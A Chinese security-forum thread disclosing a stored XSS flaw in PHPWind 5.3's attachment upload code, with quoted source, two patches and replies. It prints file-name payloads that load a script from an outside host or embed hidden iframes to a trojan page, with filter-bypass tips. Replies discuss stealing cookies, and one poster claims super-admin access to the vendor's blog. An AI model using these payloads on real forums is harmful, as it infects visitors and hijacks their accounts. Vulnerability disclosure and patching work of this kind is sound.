发新话题
打印

[原创]PHPWind论坛5.3版postupload.php附件文件名跨站脚本漏洞(XSS)

[原创]PHPWind论坛5.3版postupload.php附件文件名跨站脚本漏洞(XSS)

文章作者:EvilOctal [E.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

注意:这只是个漏洞公告并不是通常意义的原创,因此以执行帐号发布。感谢碎片、老周、ring04h等成员的讨论。邪恶八进制信息安全团队已经将该漏洞提交给PHPWind官方。

PHPWind Forums v5.3 postupload.php Cross Site Script(XSS)
PHPWind论坛5.3版postupload.php文件跨站脚本漏洞(XSS)

漏洞产生:
require\postupload.php文件对atc_p_w_upload_name变量过滤不严,导致跨站脚本执行漏洞,可能引起站点被嵌入恶意代码。
记忆碎片最早提供了一个测试效果:


漏洞代码分析:
以下是require\postupload.php文件引起问题的源代码:
Code Language : PHP
  1. ……
  2.     $source = $db_ifftp ? $db_ftpweb.\"/\".$fileuplodeurl : $attachdir.'/'.$fileuplodeurl;
  3.    //版块id_文件名_时间.类型
  4.    if($db_ifftp){
  5.      $ftpsize=$ftp->upload($atc_p_w_upload,$fileuplodeurl);
  6.    } elseif(!postupload($atc_p_w_upload,$source)){
  7.      Showmsg('upload_error');
  8.    }
  9.    if(eregi(\"\.(gif|jpg|png|bmp|swf)$\",$atc_p_w_upload_name) && function_exists('getp_w_picpathsize')){//这里只过滤了扩展名
  10.      if(!$img_size=getp_w_picpathsize($source)){
  11.        $db_ifftp ? $ftp->delete($fileuplodeurl) : P_unlink($source);
  12.        Showmsg('upload_content_error');
  13.      }
  14.      if(!$db_ifftp && $attach_ext!='swf' && $db_watermark && $img_size[0]>$db_waterwidth && $img_size[1]>$db_waterheight){
  15.        if (function_exists('p_w_picpathcreatefromgif') && function_exists('p_w_picpathalphablending') && ($attach_ext!='gif' || function_exists('p_w_picpathgif') && ($db_ifgif==2 || $db_ifgif==1 && in_array(PHP_VERSION,array('4.4.3','4.4.4','5.1.5')))) && ($db_waterimg && function_exists('p_w_picpathcopymerge') || !$db_waterimg && function_exists('p_w_picpathttfbbox'))){
  16.          require_once(R_P.'require/watermark.php');
  17.          ImgWaterMark($source,$db_waterpos,$db_waterimg,$db_watertext,$db_waterfont,$db_watercolor,$db_waterpct,$db_jpgquality);
  18.        }
  19.      }
  20.    }
  21.    if(eregi(\"\.(gif|jpg|jpeg|png|bmp|swf)$\",$atc_p_w_upload_name)){//这里只过滤了扩展名
  22.      $ifupload=1;
  23.      if(eregi(\"\.swf$\",$atc_p_w_upload_name)){//这里只过滤了扩展名
  24.        $type='zip';
  25.      }else{
  26.        $type='img';
  27.      }
  28.    } elseif(eregi(\"\.(zip|rar)$\",$atc_p_w_upload_name)){//这里只过滤了扩展名
  29.      $ifupload=3;
  30.      $type='zip';
  31.    } elseif(eregi(\"\.txt$\",$atc_p_w_upload_name)){//这里只过滤了扩展名
  32.      $safecheckdb = $db_ifftp ? (function_exists('file_get_contents') ? file_get_contents($source) : '') : readover($source);
  33.      if (strpos($safecheckdb,\"onload\")!==false && strpos($safecheckdb,\"submit\")!==false && strpos($safecheckdb,\"post\")!==false && strpos($safecheckdb,\"form\")!==false){
  34.        $db_ifftp ? $ftp->delete($fileuplodeurl) : P_unlink($source);
  35.        Showmsg('upload_content_error');
  36.      } else{
  37.        $ifupload=2;
  38.        $type='txt';
  39.      }
  40.    } else{
  41.      $ifupload=3;
  42.      $type='zip';
  43.    }
  44.    $size = $db_ifftp ? ceil($ftpsize/1024) : ceil(filesize(\"$attachdir/$fileuplodeurl\")/1024);
  45.    $atc_p_w_upload_name=addslashes($atc_p_w_upload_name);
  46.    if($ifreplace==0){//下面已经准备提交到数据库
  47.      $db->update(\"INSERT INTO pw_attachs SET fid='$fid',uid='$winduid',hits=0,name='$atc_p_w_upload_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip'\");
  48.      $aid = $db->insert_id();
  49.      $attachs[$aid] = array(
  50.        'aid'    => $aid,
  51.        'name'   => stripslashes($atc_p_w_upload_name),//取出转译斜线便于入库
  52.        'type'   => $type,
  53.        'attachurl' => $fileuplodeurl,
  54.        'needrvrc' => $needrvrc,
  55.        'size'   => $size,
  56.        'hits'   => 0,
  57.        'desc'    => str_replace('\\','',$descrip)
  58.      );
  59.    } else {
  60.      $aid=$replacedb[$i]['aid'];
  61.      $db->update(\"UPDATE pw_attachs SET name='$atc_p_w_upload_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip' WHERE aid='$aid'\");
  62.      $oldattach[$aid]['name']=$atc_p_w_upload_name;
  63.      $oldattach[$aid]['type']=$type;
  64.      $oldattach[$aid]['size']=$size;
  65.    }
  66.  }
  67. ……
Parsed in 0.030 seconds
可以看到postupload.php文件没有对atc_p_w_upload_name这个变量提交的名字进行过滤。



漏洞测试:
只要在附件提交的地址框(不是描述框)填写精心构造的恶意跨站脚本即可实现跨站测试,可被别有用心者用来挂马等。
测试方法一 下面是zhouzhen提供的测试代码加图片:

老周的代码明文内容如下:
复制内容到剪贴板
代码:
D:\zhouzhen<img src=http://forum.eviloctal.com/p_w_picpath/wind/logo.png>XXS.rar

测试方法二 下面是ring04h提供的阴险测试代码加解释:
复制内容到剪贴板
代码:
D:\ring04h:<SCRIPT SRC=http://www.diaonilaomu.com/x.js>XSS.rar
因为不能出现//等字符,可以采用ASSIC编码,将可以嵌入恶意脚本。


临时修补:
修补方法一 正则表达式:
在源文件的代码151行后(也就是上面代码块的45行后),也就是在MySQL的查询被执行之前,做一次最后的文件名过滤。
Code Language : PHP
  1.    if(isset($atc_p_w_upload_name)){
  2.       if(!eregi(\"^[_a-z0-9-]+\.(gif|jpg|jpeg|png|bmp|zip|rar|gz|tgz|7z)$\",$atc_p_w_upload_name)){//扩展名允许规则请根据自己站点的情况自行更改
  3.        echo \"EST Name Fail!\";
  4.        exit;
  5.      }
  6.      }
Parsed in 0.006 seconds
修补方法二 字符串替换:
临时解决跨站问题可以过滤掉尖括号符号,使脚本无法构成。
修改源文件的代码157行(也就是上面代码块的51行)为如下代码:
Code Language : PHP
  1. $atc_p_w_upload_name = stripslashes(str_replace(\"<\",\"\",$atc_p_w_upload_name));
Parsed in 0.004 seconds
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

D:\ring04h:<SCRIPT SRC=http://www.diaonilaomu.com/x.js>XSS.rar
加在哪里?
love hack

TOP

应PHPWind官方要求暂时屏蔽该主题,直到官方发布补丁包。
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

不用远程调用JS文件,也可以直接达到挂马的效果如下
本地测试环境:phpwind5.0.1
复制内容到剪贴板
代码:
D:\zhouzhen<iframe src=http://www.muma.com/><%2Fiframe>XXS.rar

D:\zhouzhen<iframe src=http://www.muma.com/test.htm width=0 height=0><%2Fiframe>XXS.rar
过滤了/和",构造语句如上。
http://www.muma.com/test.htm 十六进制编码即可
QHK-EST-邪恶八进制 为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!!

TOP

官方已经修补完毕!< >

附件

1.JPG (22 KB)

2007-6-25 20:52

1.JPG

QHK-EST-邪恶八进制 为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!!

TOP

经测试,phpwind官方BLOG》Powered by LxBlog 5.3
也存在着相同的问题,可以成功跨站,但官方好像自已也察觉了这个漏洞的存在,禁止了新用户注册。是不是正在修补呢!
如图:

附件

2.JPG (32 KB)

2007-6-25 21:43

2.JPG

QHK-EST-邪恶八进制 为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!!

TOP

恩 别说我打击各位
漏洞是漏洞 弹个框有什么用列

这个漏洞本身是有点意思的 不能有" &#39; /
另外就是隐蔽性
大家还是想想如何玩比较好啊
顺便说下
<script src=xxxxxxxxxx.js>
这个好象IE不认的,所以长度也是个难题 从数据里看是76个字符 所以...........

厄 事实上的确是没有限制的 这个数据在存储时有两个地方,一个地方有限制另外一个地方是没有限制的.....

sorry

TOP

剑心上来,说说怎么玩好啊,呵呵。
QHK-EST-邪恶八进制 为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!!

TOP

貌似PW论坛出什么跨站漏洞PWBLOG也会跟着出现的,真郁闷
select girl from Guilin where age='18-20' and bg='beautiful'--

TOP

引用:
引用第7楼剑心于2007-06-25 21:54发表的 :
恩 别说我打击各位
漏洞是漏洞 弹个框有什么用列

这个漏洞本身是有点意思的 不能有" &#39; /
另外就是隐蔽性
.......
这个漏洞大家是不是看了RSNAKE的Image Upload XSS想到的 HOHO

76个字符足够拉 传个假图片到论坛里

<script src=xxxxxxxxxx.jpg>

再AJAX一下

纯属YY
.....  -.= 凸

TOP

PWBLOG 的后台我有。超管权限。
很好.

TOP

字体那里也可以XSS的。原理一样。

只是获得了cookie不知道如何反算winduser,汗~~看源码去

TOP

发新话题